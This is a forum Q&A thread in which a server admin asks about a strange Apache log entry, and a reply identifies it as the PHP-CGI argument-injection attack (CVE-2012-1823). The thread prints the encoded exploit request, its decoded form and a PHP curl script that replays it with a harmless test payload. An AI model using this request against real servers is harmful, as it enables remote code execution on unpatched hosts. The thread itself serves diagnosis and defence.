0

Warning: The following requests might harm your server.

I got some strange things in the apache log:

"POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 276 "-" "-"

This means:

POST /phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n

As you can see this gives 200 but when I run it with curl:

<?php
 $ch = curl_init();

 curl_setopt($ch, CURLOPT_URL, "http://aussehenwie.de/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E");
 curl_setopt($ch, CURLOPT_HEADER, 0);
 curl_setopt($ch, CURLOPT_POST, 1);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_POSTFIELDS, "<?php echo 'hacked'; ");

 echo curl_exec($ch);

 curl_close($ch);
 ?>

It returns a 404. This is the same when I run it from terminal.

Why is that so? And what is this awkward URL doing?

2

This is known as one of CGI attacks, effective when someone uses unpatched or incorrectly configured web server.

Example of vulnerability: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823

It's overriding php.ini settings set on the server and executing the file from input/URL.

If you are updating your software on time or you don't use CGI interface on your web server (in case of apache - mod_cgi mod_fastcgi mod_fcgid etc i.e. not mod_php) to interact with PHP - there is nothing to worry about. Constant attacks/scans like this have permanent behavior.

  • Right, but I still do not know why it's 200 in the logs and 404 to the client. – LeMike Aug 17 '13 at 10:21
  • 1
    because "aussehenwie.de/%70%68%70%70%61%74%68/…" returns 404 :) – GioMac Aug 17 '13 at 10:22
  • Don't know, must have details on your configuration. – GioMac Aug 17 '13 at 10:32

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.